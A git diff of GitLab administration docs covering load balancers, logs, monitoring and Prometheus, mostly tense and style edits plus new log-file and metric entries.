@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -41,7 +41,7 @@ the configuration options as follows:
### Your own Libravatar server
If you are [running your own Libravatar service](https://wiki.libravatar.org/running_your_own/),
-the URL will be different in the configuration, but you must provide the same
+the URL is different in the configuration, but you must provide the same
placeholders so GitLab can parse the URL correctly.
For example, you host a service on `http://libravatar.example.com` and the
diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md
index 410381ff2b0..ae96989a188 100644
--- a/doc/administration/load_balancer.md
+++ b/doc/administration/load_balancer.md
@@ -1,23 +1,23 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
# Load Balancer for multi-node GitLab
-In an multi-node GitLab configuration, you will need a load balancer to route
+In an multi-node GitLab configuration, you need a load balancer to route
traffic to the application servers. The specifics on which load balancer to use
or the exact configuration is beyond the scope of GitLab documentation. We hope
that if you're managing HA systems like GitLab you have a load balancer of
choice already. Some examples including HAProxy (open-source), F5 Big-IP LTM,
-and Citrix Net Scaler. This documentation will outline what ports and protocols
+and Citrix Net Scaler. This documentation outlines what ports and protocols
you need to use with GitLab.
## SSL
-How will you handle SSL in your multi-node environment? There are several different
+How do you want to handle SSL in your multi-node environment? There are several different
options:
- Each application node terminates SSL
@@ -29,8 +29,8 @@ options:
### Application nodes terminate SSL
Configure your load balancer(s) to pass connections on port 443 as 'TCP' rather
-than 'HTTP(S)' protocol. This will pass the connection to the application nodes
-NGINX service untouched. NGINX will have the SSL certificate and listen on port 443.
+than 'HTTP(S)' protocol. This passes the connection to the application nodes
+NGINX service untouched. NGINX has the SSL certificate and listen on port 443.
See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
@@ -38,10 +38,10 @@ for details on managing SSL certificates and configuring NGINX.
### Load Balancer(s) terminate SSL without backend SSL
Configure your load balancer(s) to use the 'HTTP(S)' protocol rather than 'TCP'.
-The load balancer(s) will then be responsible for managing SSL certificates and
+The load balancer(s) is be responsible for managing SSL certificates and
terminating SSL.
-Since communication between the load balancer(s) and GitLab will not be secure,
+Since communication between the load balancer(s) and GitLab isn't secure,
there is some additional configuration needed. See
[NGINX Proxied SSL documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#supporting-proxied-ssl)
for details.
@@ -49,12 +49,12 @@ for details.
### Load Balancer(s) terminate SSL with backend SSL
Configure your load balancer(s) to use the 'HTTP(S)' protocol rather than 'TCP'.
-The load balancer(s) will be responsible for managing SSL certificates that
-end users will see.
+The load balancer(s) is responsible for managing SSL certificates that
+end users see.
-Traffic will also be secure between the load balancer(s) and NGINX in this
+Traffic is secure between the load balancer(s) and NGINX in this
scenario. There is no need to add configuration for proxied SSL since the
-connection will be secure all the way. However, configuration will need to be
+connection is secure all the way. However, configuration must be
added to GitLab to configure SSL certificates. See
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
@@ -75,13 +75,13 @@ for details on managing SSL certificates and configuring NGINX.
to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the
[web terminal](integration/terminal.md) integration guide for
more details.
-- (*2*): When using HTTPS protocol for port 443, you will need to add an SSL
+- (*2*): When using HTTPS protocol for port 443, you must add an SSL
certificate to the load balancers. If you wish to terminate SSL at the
GitLab application server instead, use TCP protocol.
### GitLab Pages Ports
-If you're using GitLab Pages with custom domain support you will need some
+If you're using GitLab Pages with custom domain support you need some
additional port configurations.
GitLab Pages requires a separate virtual IP address. Configure DNS to point the
`pages_external_url` from `/etc/gitlab/gitlab.rb` at the new virtual IP address. See the
@@ -103,7 +103,7 @@ GitLab Pages requires a separate virtual IP address. Configure DNS to point the
Some organizations have policies against opening SSH port 22. In this case,
it may be helpful to configure an alternate SSH hostname that allows users
-to use SSH on port 443. An alternate SSH hostname will require a new virtual IP address
+to use SSH on port 443. An alternate SSH hostname requires a new virtual IP address
compared to the other GitLab HTTP configuration above.
Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`.
@@ -114,7 +114,7 @@ Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`.
## Readiness check
-It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma will not accept requests.
+It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma doesn't accept requests.
<!-- ## Troubleshooting
diff --git a/doc/administration/logs.md b/doc/administration/logs.md
index e5523ba67aa..3d5ba903941 100644
--- a/doc/administration/logs.md
+++ b/doc/administration/logs.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Log system
@@ -117,7 +117,7 @@ The ActionCable connection or channel class is used as the `controller`.
}
```
-NOTE: **Note:**
+NOTE:
Starting with GitLab 12.5, if an error occurs, an
`exception` field is included with `class`, `message`, and
`backtrace`. Previous versions included an `error` field instead of
@@ -383,7 +383,7 @@ only. For example:
## `audit_json.log`
-NOTE: **Note:**
+NOTE:
Most log entries only exist in [GitLab Starter](https://about.gitlab.com/pricing/), however a few exist in GitLab Core.
This file lives in `/var/log/gitlab/gitlab-rails/audit_json.log` for
@@ -665,6 +665,31 @@ installations from source.
It logs the progress of the export process.
+## `features_json.log`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/59587) in GitLab 13.7.
+
+This file's location depends on how you installed GitLab:
+
+- For Omnibus GitLab packages: `/var/log/gitlab/gitlab-rails/features_json.log`
+- For installations from source: `/home/git/gitlab/log/features_json.log`
+
+The modification events from [Feature flags in development of GitLab](../development/feature_flags/index.md)
+are recorded in this file. For example:
+
+```json
+{"severity":"INFO","time":"2020-11-24T02:30:59.860Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable","extra.thing":"true"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.108Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable","extra.thing":"true"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.129Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable","extra.thing":"false"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.177Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable","extra.thing":"Project:1"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.183Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable","extra.thing":"Project:1"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.188Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable_percentage_of_time","extra.percentage":"50"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.193Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable_percentage_of_time"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.198Z","correlation_id":null,"key":"cd_auto_rollback","action":"enable_percentage_of_actors","extra.percentage":"50"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.203Z","correlation_id":null,"key":"cd_auto_rollback","action":"disable_percentage_of_actors"}
+{"severity":"INFO","time":"2020-11-24T02:31:29.329Z","correlation_id":null,"key":"cd_auto_rollback","action":"remove"}
+```
+
## `auth.log`
> Introduced in GitLab 12.0.
@@ -751,7 +776,7 @@ are generated:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/15442) in GitLab 12.3.
-Contains details of GitLab's [Database Load Balancing](database_load_balancing.md).
+Contains details of GitLab [Database Load Balancing](database_load_balancing.md).
It's stored at:
- `/var/log/gitlab/gitlab-rails/database_load_balancing.log` for Omnibus GitLab packages.
@@ -973,12 +998,31 @@ For Omnibus GitLab installations, GitLab Exporter logs reside in `/var/log/gitla
For Omnibus GitLab installations, GitLab Kubernetes Agent Server logs reside
in `/var/log/gitlab/gitlab-kas/`.
+## Performance bar stats
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48149) in GitLab 13.7.
+
+This file lives in `/var/log/gitlab/gitlab-rails/performance_bar_json.log` for
+Omnibus GitLab packages or in `/home/git/gitlab/log/performance_bar_json.log` for
+installations from source.
+
+Performance bar statistics (currently only duration of SQL queries) are recorded in that file. For example:
+
+```json
+{"severity":"INFO","time":"2020-12-04T09:29:44.592Z","correlation_id":"33680b1490ccd35981b03639c406a697","filename":"app/models/ci/pipeline.rb","filenum":"395","method":"each_with_object","request_id":"rYHomD0VJS4","duration_ms":26.889,"type": "sql"}
+```
+
+These statistics are logged on .com only, disabled on self-deployments.
+
## Gathering logs
When [troubleshooting](troubleshooting/index.md) issues that aren't localized to one of the
previously listed components, it's helpful to simultaneously gather multiple logs and statistics
from a GitLab instance.
+NOTE:
+GitLab Support often asks for one of these, and maintains the required tools.
+
### Briefly tail the main logs
If the bug or error is readily reproducible, save the main GitLab logs
@@ -995,12 +1039,9 @@ Conclude the log gathering with <kbd>Ctrl</kbd> + <kbd>C</kbd>.
If performance degradations or cascading errors occur that can't readily be attributed to one
of the previously listed GitLab components, [GitLabSOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/)
-can provide a perspective spanning all of Omnibus GitLab. For more details and instructions
+can provide a broader perspective of the GitLab instance. For more details and instructions
to run it, read [the GitLabSOS documentation](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/#gitlabsos).
-NOTE: **Note:**
-GitLab Support likes to use this custom-made tool.
-
### Fast-stats
[Fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats) is a tool
diff --git a/doc/administration/maven_packages.md b/doc/administration/maven_packages.md
index cdcce79f8f9..690b6785941 100644
--- a/doc/administration/maven_packages.md
+++ b/doc/administration/maven_packages.md
@@ -3,3 +3,6 @@ redirect_to: 'packages/index.md'
---
This document was moved to [another location](packages/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/maven_repository.md b/doc/administration/maven_repository.md
index cdcce79f8f9..690b6785941 100644
--- a/doc/administration/maven_repository.md
+++ b/doc/administration/maven_repository.md
@@ -3,3 +3,6 @@ redirect_to: 'packages/index.md'
---
This document was moved to [another location](packages/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/merge_request_diffs.md b/doc/administration/merge_request_diffs.md
index 3c093d44780..92fdba6216c 100644
--- a/doc/administration/merge_request_diffs.md
+++ b/doc/administration/merge_request_diffs.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference
---
@@ -67,7 +67,7 @@ that only [stores outdated diffs](#alternative-in-database-storage) outside of d
## Using object storage
-CAUTION: **Warning:**
+WARNING:
Currently migrating to object storage is **non-reversible**
Instead of storing the external diffs on disk, we recommended the use of an object
@@ -102,7 +102,7 @@ be configured already.
### Object Storage Settings
-NOTE: **Note:**
+NOTE:
In GitLab 13.2 and later, we recommend using the
[consolidated object storage settings](object_storage.md#consolidated-object-storage-configuration).
This section describes the earlier configuration format.
diff --git a/doc/administration/monitoring/github_imports.md b/doc/administration/monitoring/github_imports.md
index da7796c05f0..cf7c105e8cf 100644
--- a/doc/administration/monitoring/github_imports.md
+++ b/doc/administration/monitoring/github_imports.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring GitHub imports
diff --git a/doc/administration/monitoring/gitlab_instance_administration_project/index.md b/doc/administration/monitoring/gitlab_instance_administration_project/index.md
index 1235eb2edec..59837dcdb20 100644
--- a/doc/administration/monitoring/gitlab_instance_administration_project/index.md
+++ b/doc/administration/monitoring/gitlab_instance_administration_project/index.md
@@ -3,3 +3,6 @@ redirect_to: '../gitlab_self_monitoring_project/index.md'
---
This document was moved to [another location](../gitlab_self_monitoring_project/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
index fcaf9aaaaee..13d42ca2ee6 100644
--- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
+++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab self monitoring project
@@ -14,13 +14,13 @@ health of their GitLab instance. To surface this experience in a native way
(similar to how you would interact with an application deployed using GitLab),
a base project called "GitLab self monitoring" with
[internal visibility](../../../public_access/public_access.md#internal-projects)
-will be added under a group called "GitLab Instance Administrators"
+is added under a group called "GitLab Instance Administrators"
specifically created for visualizing and configuring the monitoring of your
GitLab instance.
-All administrators at the time of creation of the project and group will be
-added as maintainers of the group and project, and as an admin, you'll be able
-to add new members to the group to give them maintainer access to the project.
+All administrators at the time of creation of the project and group are
+added as maintainers of the group and project, and as an admin, you can
+add new members to the group to give them maintainer access to the project.
This project is used to self monitor your GitLab instance. The metrics dashboard
of the project shows some basic resource usage charts, such as CPU and memory usage
@@ -34,13 +34,13 @@ metrics exposed by the [GitLab exporter](../prometheus/gitlab_metrics.md#metrics
1. Navigate to **Admin Area > Settings > Metrics and profiling**, and expand the **Self monitoring** section.
1. Toggle the **Create Project** button on.
-1. Once your GitLab instance creates the project, you'll see a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**.
+1. Once your GitLab instance creates the project, GitLab displays a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**.
## Deleting the self monitoring project
-CAUTION: **Warning:**
-If you delete the self monitoring project, you will lose any changes made to the
-project. If you create the project again, it will be created in its default state.
+WARNING:
+Deleting the self monitoring project removes any changes made to the project. If
+you create the project again, it's created in its default state.
1. Navigate to **Admin Area > Settings > Metrics and profiling**, and expand the **Self monitoring** section.
1. Toggle the **Create Project** button off.
@@ -63,7 +63,7 @@ You can also
## Connection to Prometheus
-The project will be automatically configured to connect to the
+The project is automatically configured to connect to the
[internal Prometheus](../prometheus/index.md) instance if the Prometheus
instance is present (should be the case if GitLab was installed via Omnibus
and you haven't disabled it).
diff --git a/doc/administration/monitoring/index.md b/doc/administration/monitoring/index.md
index fbd4c1aa3dd..68dbe9f3cf9 100644
--- a/doc/administration/monitoring/index.md
+++ b/doc/administration/monitoring/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring GitLab
@@ -13,7 +13,7 @@ Explore our features to monitor your GitLab instance:
take action on alerts.
- [Performance monitoring](performance/index.md): GitLab Performance Monitoring makes it possible to measure a wide variety of statistics of your instance.
- [Prometheus](prometheus/index.md): Prometheus is a powerful time-series monitoring service, providing a flexible platform for monitoring GitLab and other software products.
-- [GitHub imports](github_imports.md): Monitor the health and progress of GitLab's GitHub importer with various Prometheus metrics.
+- [GitHub imports](github_imports.md): Monitor the health and progress of the GitHub importer with various Prometheus metrics.
- [Monitoring uptime](../../user/admin_area/monitoring/health_check.md): Check the server status using the health check endpoint.
- [IP whitelists](ip_whitelist.md): Configure GitLab for monitoring endpoints that provide health check information when probed.
- [`nginx_status`](https://docs.gitlab.com/omnibus/settings/nginx.html#enablingdisabling-nginx_status): Monitor your NGINX server status
diff --git a/doc/administration/monitoring/ip_whitelist.md b/doc/administration/monitoring/ip_whitelist.md
index 480a4ea3598..83fbec86f57 100644
--- a/doc/administration/monitoring/ip_whitelist.md
+++ b/doc/administration/monitoring/ip_whitelist.md
@@ -1,14 +1,14 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# IP whitelist
> Introduced in GitLab 9.4.
-NOTE: **Note:**
+NOTE:
We intend to [rename IP whitelist as `IP allowlist`](https://gitlab.com/gitlab-org/gitlab/-/issues/7554).
GitLab provides some [monitoring endpoints](../../user/admin_area/monitoring/health_check.md)
diff --git a/doc/administration/monitoring/performance/gitlab_configuration.md b/doc/administration/monitoring/performance/gitlab_configuration.md
index eb9dab1af59..dd4481434a6 100644
--- a/doc/administration/monitoring/performance/gitlab_configuration.md
+++ b/doc/administration/monitoring/performance/gitlab_configuration.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Configuration
diff --git a/doc/administration/monitoring/performance/grafana_configuration.md b/doc/administration/monitoring/performance/grafana_configuration.md
index dc77a35e44b..e76e81c6499 100644
--- a/doc/administration/monitoring/performance/grafana_configuration.md
+++ b/doc/administration/monitoring/performance/grafana_configuration.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Grafana Configuration
@@ -113,7 +113,7 @@ If you require access to your old Grafana data but don't meet one of these crite
1. [Exporting the dashboards](https://grafana.com/docs/grafana/latest/reference/export_import/#exporting-a-dashboard) you need.
1. Refreshing the data and [re-importing your dashboards](https://grafana.com/docs/grafana/latest/reference/export_import/#importing-a-dashboard).
-DANGER: **Warning:**
+WARNING:
These actions pose a temporary vulnerability while your old Grafana data is in use.
Deciding to take any of these actions should be weighed carefully with your need to access
existing data and dashboards.
diff --git a/doc/administration/monitoring/performance/index.md b/doc/administration/monitoring/performance/index.md
index 6ea756619f5..5b82696ae4b 100644
--- a/doc/administration/monitoring/performance/index.md
+++ b/doc/administration/monitoring/performance/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Performance Monitoring
diff --git a/doc/administration/monitoring/performance/introduction.md b/doc/administration/monitoring/performance/introduction.md
index 7ace0ec5a93..a275efce5bb 100644
--- a/doc/administration/monitoring/performance/introduction.md
+++ b/doc/administration/monitoring/performance/introduction.md
@@ -3,3 +3,6 @@ redirect_to: 'index.md'
---
This document was moved to [another location](index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/monitoring/performance/performance_bar.md b/doc/administration/monitoring/performance/performance_bar.md
index 45dc4730cab..a214660bd5c 100644
--- a/doc/administration/monitoring/performance/performance_bar.md
+++ b/doc/administration/monitoring/performance/performance_bar.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Performance Bar
diff --git a/doc/administration/monitoring/performance/prometheus.md b/doc/administration/monitoring/performance/prometheus.md
index f05a420fc19..2978de865e2 100644
--- a/doc/administration/monitoring/performance/prometheus.md
+++ b/doc/administration/monitoring/performance/prometheus.md
@@ -3,3 +3,6 @@ redirect_to: '../prometheus/index.md'
---
This document was moved to [another location](../prometheus/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/monitoring/performance/request_profiling.md b/doc/administration/monitoring/performance/request_profiling.md
index 6e03404fd26..23af50dec11 100644
--- a/doc/administration/monitoring/performance/request_profiling.md
+++ b/doc/administration/monitoring/performance/request_profiling.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Request Profiling
diff --git a/doc/administration/monitoring/prometheus/gitlab_exporter.md b/doc/administration/monitoring/prometheus/gitlab_exporter.md
index aa2eb9f3415..8e4d87cfa78 100644
--- a/doc/administration/monitoring/prometheus/gitlab_exporter.md
+++ b/doc/administration/monitoring/prometheus/gitlab_exporter.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab exporter
diff --git a/doc/administration/monitoring/prometheus/gitlab_metrics.md b/doc/administration/monitoring/prometheus/gitlab_metrics.md
index 5c9268b54e1..c5e0570515d 100644
--- a/doc/administration/monitoring/prometheus/gitlab_metrics.md
+++ b/doc/administration/monitoring/prometheus/gitlab_metrics.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Prometheus metrics
@@ -142,6 +142,7 @@ configuration option in `gitlab.yml`. These metrics are served from the
| `sidekiq_jobs_queue_duration_seconds` | Histogram | 12.5 | Duration in seconds that a Sidekiq job was queued before being executed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` |
| `sidekiq_jobs_failed_total` | Counter | 12.2 | Sidekiq jobs failed | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` |
| `sidekiq_jobs_retried_total` | Counter | 12.2 | Sidekiq jobs retried | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` |
+| `sidekiq_jobs_dead_total` | Counter | 13.7 | Sidekiq dead jobs (jobs that have run out of retries) | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` |
| `sidekiq_redis_requests_total` | Counter | 13.1 | Redis requests during a Sidekiq job execution | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency` |
| `sidekiq_elasticsearch_requests_total` | Counter | 13.1 | Elasticsearch requests during a Sidekiq job execution | `queue`, `boundary`, `external_dependencies`, `feature_category`, `job_status`, `urgency` |
| `sidekiq_running_jobs` | Gauge | 12.2 | Number of Sidekiq jobs running | `queue`, `boundary`, `external_dependencies`, `feature_category`, `urgency` |
@@ -309,7 +310,7 @@ instance (`cache`, `shared_state` etc.).
## Metrics shared directory
-GitLab's Prometheus client requires a directory to store metrics data shared between multi-process services.
+The GitLab Prometheus client requires a directory to store metrics data shared between multi-process services.
Those files are shared among all instances running under Unicorn server.
The directory must be accessible to all running Unicorn's processes, or
metrics can't function correctly.
diff --git a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md
index ae3a3d739b5..8fa2e16dcd0 100644
--- a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md
+++ b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md
@@ -3,3 +3,6 @@ redirect_to: 'gitlab_exporter.md'
---
This document was moved to [another location](gitlab_exporter.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md
index 91f810dc681..80ddb87e727 100644
--- a/doc/administration/monitoring/prometheus/index.md
+++ b/doc/administration/monitoring/prometheus/index.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Monitoring GitLab with Prometheus
@@ -10,10 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
>
> - Prometheus and the various exporters listed in this page are bundled in the
> Omnibus GitLab package. Check each exporter's documentation for the timeline
-> they got added. For installations from source you will have to install them
-> yourself. Over subsequent releases additional GitLab metrics will be captured.
+> they got added. For installations from source you must install them
+> yourself. Over subsequent releases additional GitLab metrics are captured.
> - Prometheus services are on by default with GitLab 9.0.
-> - Prometheus and its exporters don't authenticate users, and will be available
+> - Prometheus and its exporters don't authenticate users, and are available
> to anyone who can access them.
[Prometheus](https://prometheus.io) is a powerful time-series monitoring service, providing a flexible
@@ -34,9 +34,9 @@ dashboard tool like [Grafana](https://grafana.com).
For installations from source, you must install and configure it yourself.
Prometheus and its exporters are on by default, starting with GitLab 9.0.
-Prometheus will run as the `gitlab-prometheus` user and listen on
+Prometheus runs as the `gitlab-prometheus` user and listen on
`http://localhost:9090`. By default, Prometheus is only accessible from the GitLab server itself.
-Each exporter will be automatically set up as a
+Each exporter is automatically set up as a
monitoring target for Prometheus, unless individually disabled.
To disable Prometheus and all of its exporters, as well as any added in the future:
@@ -53,7 +53,7 @@ To disable Prometheus and all of its exporters, as well as any added in the futu
### Changing the port and address Prometheus listens on
-CAUTION: **Caution:**
+WARNING:
The following change was added in [Omnibus GitLab 8.17](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/1261). Although possible,
it's not recommended to change the port Prometheus listens
on, as this might affect or conflict with other services running on the GitLab
@@ -179,12 +179,11 @@ The next step is to tell all the other nodes where the monitoring node is:
After monitoring using Service Discovery is enabled with `consul['monitoring_service_discovery'] = true`,
ensure that `prometheus['scrape_configs']` is not set in `/etc/gitlab/gitlab.rb`. Setting both
-`consul['monitoring_service_discovery'] = true` and `prometheus['scrape_configs']` in `/etc/gitlab/gitlab.rb`
-will result in errors.
+`consul['monitoring_service_discovery'] = true` and `prometheus['scrape_configs']` in `/etc/gitlab/gitlab.rb` results in errors.
### Using an external Prometheus server
-CAUTION: **Caution:**
+WARNING:
Prometheus and most exporters don't support authentication. We don't recommend exposing them outside the local network.
A few configuration changes are required to allow GitLab to be monitored by an external Prometheus server. External servers are recommended for [GitLab deployments with multiple nodes](../../reference_architectures/index.md).
@@ -234,7 +233,7 @@ To use an external Prometheus server:
gitlab_rails['prometheus_address'] = '192.168.0.1:9090'
```
-1. To scrape NGINX metrics, you'll also need to configure NGINX to allow the Prometheus server
+1. To scrape NGINX metrics, you must also configure NGINX to allow the Prometheus server
IP. For example:
```ruby
@@ -350,7 +349,7 @@ To add a Prometheus dashboard for a single server GitLab setup:
GitLab monitors its own internal service metrics, and makes them available at the `/-/metrics` endpoint. Unlike other exporters, this endpoint requires authentication as it's available on the same URL and port as user traffic.
-[âž” Read more about the GitLab Metrics.](gitlab_metrics.md)
+Read more about the [GitLab Metrics](gitlab_metrics.md).
## Bundled software metrics
@@ -399,7 +398,7 @@ The GitLab exporter allows you to measure various GitLab metrics, pulled from Re
> - Introduced in GitLab 9.0.
> - Pod monitoring introduced in GitLab 9.4.
